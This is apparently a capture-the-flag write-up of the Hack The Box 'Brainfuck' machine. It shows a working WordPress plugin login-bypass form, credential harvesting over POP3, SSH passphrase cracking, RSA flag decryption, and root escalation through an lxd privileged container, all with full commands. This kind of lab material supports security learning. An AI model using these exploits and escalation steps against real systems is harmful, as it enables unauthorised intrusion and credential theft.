Post

Hack The Box - Brainfuck (Without Metasploit)

An insane box on the list? Really?

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

1
$ echo "10.10.10.17 brainfuck.htb" | sudo tee -a /etc/hosts

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ nmap -sT -sV -sC -Pn brainfuck.htb 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-08 06:06 EST
Nmap scan report for brainfuck (10.10.10.17)
Host is up (0.012s latency).
Not shown: 995 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
|   256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_  256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) USER PIPELINING CAPA TOP UIDL AUTH-RESP-CODE RESP-CODES
143/tcp open  imap     Dovecot imapd
|_imap-capabilities: more have LOGIN-REFERRALS IDLE post-login ID Pre-login listed AUTH=PLAINA0001 LITERAL+ SASL-IR capabilities OK ENABLE IMAP4rev1
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.15 seconds

Enumeration (1)

Port 443 nginx 1.10.0

There is a Wordpress website running on this page. Lets run wpscan to see what we can get out of this website.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ wpscan --disable-tls-checks  --url https://brainfuck.htb                                                         1 ⨯
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.12
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: https://brainfuck.htb/ [10.10.10.17]
[+] Started: Fri Jan  8 06:20:41 2021

...

[i] Plugin(s) Identified:

[+] wp-support-plus-responsive-ticket-system
 | Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
 | Last Updated: 2019-09-03T07:57:00.000Z
 | [!] The version is out of date, the latest version is 9.1.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 7.1.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt

...

If we check out the wp-support-plus-responsive-ticket-system plugin, we realise that the version (7.1.3) had exploits online.

1
2
3
4
5
6
7
$ searchsploit wordpress support plus 7.1.3
--------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                         |  Path
--------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation | php/webapps/41006.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection        | php/webapps/40939.txt
--------------------------------------------------------------------------------------- ---------------------------------

The “Privilege Escalation” vulnerability would allow us to login as anyone without knowing the password, so lets use that.

1
2
3
4
5
6
7
8
$ searchsploit -m 41006                     
  Exploit: WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation
      URL: https://www.exploit-db.com/exploits/41006
     Path: /usr/share/exploitdb/exploits/php/webapps/41006.txt
File Type: ASCII text, with CRLF line terminators

Copied to: /home/kali/Desktop/htb/brainfuck/41006.txt

Exploitation (1)

1
2
3
4
5
6
7
8
$ cat exploit.html
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="administrator">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

Now, to use it, we just need to open the page with firefox and hit Login.

1
$ firefox exploit.html

Now, if we go to https://brainfuck.htb/wp-admin/, we have managed to login as administrator!

However, even as administrator, we are not able to perform much administrative actions. Lets see if there are any other users we can log into using wp-scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ wpscan --disable-tls-checks  --url https://brainfuck.htb --enumerate u
...
[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===========> (10 / 10) 100.00% Time: 

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] administrator
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
...

It seems there is another user called admin. Let try changing from administrator to admin in exploit.html and logging in. Remember to clear your cookies first!

After clicking Login and accessing https://brainfuck.htb/wp-admin/, we finally see more pages that we can access!

Enumeration (2)

Port 443 nginx 1.10.0

Under “Plugins”, if we view the settings of the “Easy WP SMTP” plugin,

We see some interesting settings being saved, including a SMTP username and even a SMTP password! If we press on F12 to enter Developer’s Mode and view the HTML source code, we can see a password being stored as the value attribute.

Together with the username and password that we found, we get orestis:kHGuERB29DNiNE.

Port 143 ` Dovecot imapd`

Using nc, we can access the IMAP service on port 143 and login as orestis.

1
2
3
4
5
6
7
8
$ nc -v brainfuck.htb 143  
brainfuck.htb [10.10.10.17] 143 (imap2) open
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready.
A1 LOGIN orestis kHGuERB29DNiNE
A1 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SPECIAL-USE] Logged in
A1 LIST "" * 
* LIST (\HasNoChildren) "/" INBOX
A1 OK List completed (0.000 + 0.000 secs).

It seems there’s no mail here for us to read.

Port 110 ` Dovecot pop3d`

Using nc, we can access the POP3 service on port 110 and login as orestis.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
$ nc -v brainfuck.htb 110   
brainfuck.htb [10.10.10.17] 110 (pop3) open
+OK Dovecot ready.
USER orestis
+OK
PASS kHGuERB29DNiNE
+OK Logged in.
LIST
+OK 2 messages:
1 977
2 514
.
RETR 1
+OK 977 octets
Return-Path: <www-data@brainfuck.htb>
X-Original-To: orestis@brainfuck.htb
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 33)
        id 7150023B32; Mon, 17 Apr 2017 20:15:40 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: New WordPress Site
X-PHP-Originating-Script: 33:class-phpmailer.php
Date: Mon, 17 Apr 2017 17:15:40 +0000
From: WordPress <wordpress@brainfuck.htb>
Message-ID: <00edcd034a67f3b0b6b43bab82b0f872@brainfuck.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8

Your new WordPress site has been successfully set up at:

https://brainfuck.htb

You can log in to the administrator account with the following information:

Username: admin
Password: The password you chose during the install.
Log in here: https://brainfuck.htb/wp-login.php

We hope you enjoy your new site. Thanks!

--The WordPress Team
https://wordpress.org/
.
RETR 2
+OK 514 octets
Return-Path: <root@brainfuck.htb>
X-Original-To: orestis
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 0)
        id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: Forum Access Details
Message-Id: <20170429101206.4227420AEB@brainfuck>
Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
From: root@brainfuck.htb (root)

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

Regards
.

We found a mail talking about a “secret” forum and it even included credentials to login!

Port 443 nginx 1.10.0

Where is this “secret” forum? If we view the certificate on the Wordpress website, we will see another domain name under “Subject Alt Names” called sup3rs3cr3t.brainfuck.htb. Lets add this domain to our /etc/hosts and access it.

1
2
3
$ cat /etc/hosts
...
10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb

After logging in with orestis:kIEnnfEKJ#9UmdO, we see more threads.

The Key thread had some messages but appear to be jibberish.

The SSH Access thread talked about orestis’s SSH key and it will be further discussed in an encrypted thread, which is probably the Key thread we found.

One thing to note is that the user orestis always end his messages with Orestis - Hacking for fun and profit. Maybe this can help us figure out how to decrypt this?

Vignere Cipher

The last line in orestis’s messages in the Key thread are the encrypted version of Orestis - Hacking for fun and profit, using the Vignere Cipher. Using a python script I made, we are able to retrieve the password that was used.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ciphertext = "Pieagnm - Jkoijeg nbw zwx mle grwsnn".replace(" ","").replace("-","")
plaintext =  "Orestis - Hacking for fun and profit".replace(" ","").replace("-","")

output = ""

for idx in range(len(plaintext)):

        diff = (ord(ciphertext[idx]) - ord(plaintext[idx])) % 26

        if ciphertext[idx].isupper():
                output += chr(ord('A') + diff)
        else:
                output += chr(ord('a') + diff)

print(output)
1
BrainfuCkmybrainfuckmybrainfu

In Vignere Cipher, the key that is used is repeated multiple times in order to match the length of the plaintext. Hence, the key is fuckmybrain.

Using this key and Cyberchef, we are able to decrypt admin’s message to get a link to an RSA private key!

Passphrase-protected private SSH Key

After downloading the key, we attempt to login to orestis with it but failed as it is protected with a passphrase.

1
2
3
4
5
6
7
8
$ chmod 600 id_rsa
$ ssh -i id_rsa orestis@brainfuck.htb
The authenticity of host 'brainfuck.htb (10.10.10.17)' can't be established.
ECDSA key fingerprint is SHA256:S+b+YyJ/+y9IOr9GVEuonPnvVx4z7xUveQhJknzvBjg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'brainfuck.htb,10.10.10.17' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa': 
orestis@brainfuck.htb: Permission denied (publickey).

Using ssh2john, we can extract a hash of the passphrase and crack it with john.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ /usr/share/john/ssh2john.py id_rsa > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia!       (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:02 DONE (2021-01-08 07:53) 0.3649g/s 5234Kp/s 5234Kc/s 5234KC/sa6_123..*7¡Vamos!
Session completed

user.txt

With the passphrase and the private SSH key, we can now login as orestis and get the user flag.

1
2
3
4
5
$ ssh -i id_rsa orestis@brainfuck.htb                 
Enter passphrase for key 'id_rsa': 

orestis@brainfuck:~$ cat user.txt
2c11XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (3)

On orestis home directory were a few files:

encrypt.sage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
encrypt.sage 
nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

debug.txt:

1
2
3
7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997

output.txt:

1
Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

RSA Decryption

From my understanding, the root flag was encrypted with RSA with the p, q and e values provided in the debug.txt and the output was saved in output.txt. I had a fair bit of CTF experience so decrypting it was no problem :)

This script require the pycrypto module, which can be installed like this:

1
$ sudo pip3 install pycrypto
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import long_to_bytes

# From debug.txt
p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997

# From output.txt
c = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


d = modinv(e, (p-1) * (q-1))
m = pow(c,d,p * q)

print(long_to_bytes(m))

root.txt (1)

Running the script will output the plaintext root flag.

1
b'6efcXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

However, according to OSCP exam’s standard, we will need to get a working shell as root so lets try harder.

Enumeration (4)

The current user orestis is in the lxd group.

1
2
orestis@brainfuck:/tmp$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)

As a member of the lxd group, we can spawn a lxc container that mounts the file system and allow us to read files as root!

Exploitation (2)

As there are no images available on the box, we can transfer one over from our box and add it.

1
2
3
4
5
6
$ git clone https://github.com/saghul/lxd-alpine-builder
$ cd lxd-alpine-builder
$ sudo ./build-alpine
...
$ ls 
alpine-v3.12-x86_64-20210108_0810.tar.gz 

We can then transfer the image over by using the SimpleHTTPServer module or using a recent useful tool I found called updog.

On the attacker machine:

1
2
3
$ sudo updog -p 80                              
[+] Serving /home/kali/Desktop/htb/brainfuck/lxd-alpine-builder...
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)

On the Brainfuck machine:

1
orestis@brainfuck:/tmp$ wget http://10.10.X.X/alpine-v3.12-x86_64-20210108_0810.tar.gz

Finally, we can just execute a series of commands to gain root access:

1
2
3
4
5
6
7
8
9
10
11
12
orestis@brainfuck:/tmp$ lxc image import alpine-v3.12-x86_64-20210108_0810.tar.gz 
Image imported with fingerprint: 471bec5017c23d969a92020aabb84dadd3df90cdad571ad8a581ae13b4b010e8
orestis@brainfuck:/tmp$ lxc image import alpine-v3.12-x86_64-20210108_0810.tar.gz --alias myimage
Transferring image: 100% (267.12MB/s)error: UNIQUE constraint failed: images.fingerprint
orestis@brainfuck:/tmp$ lxc init myimage myexploit -c security.privileged=true
Creating myexploit
orestis@brainfuck:/tmp$ lxc config device add myexploit mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to myexploit
orestis@brainfuck:/tmp$ lxc start init 
orestis@brainfuck:/tmp$ lxc exec init /bin/sh
~ # id
uid=0(root) gid=0(root)

And get our flag:

1
2
~ # cat /mnt/root/root/root.txt
6efcXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.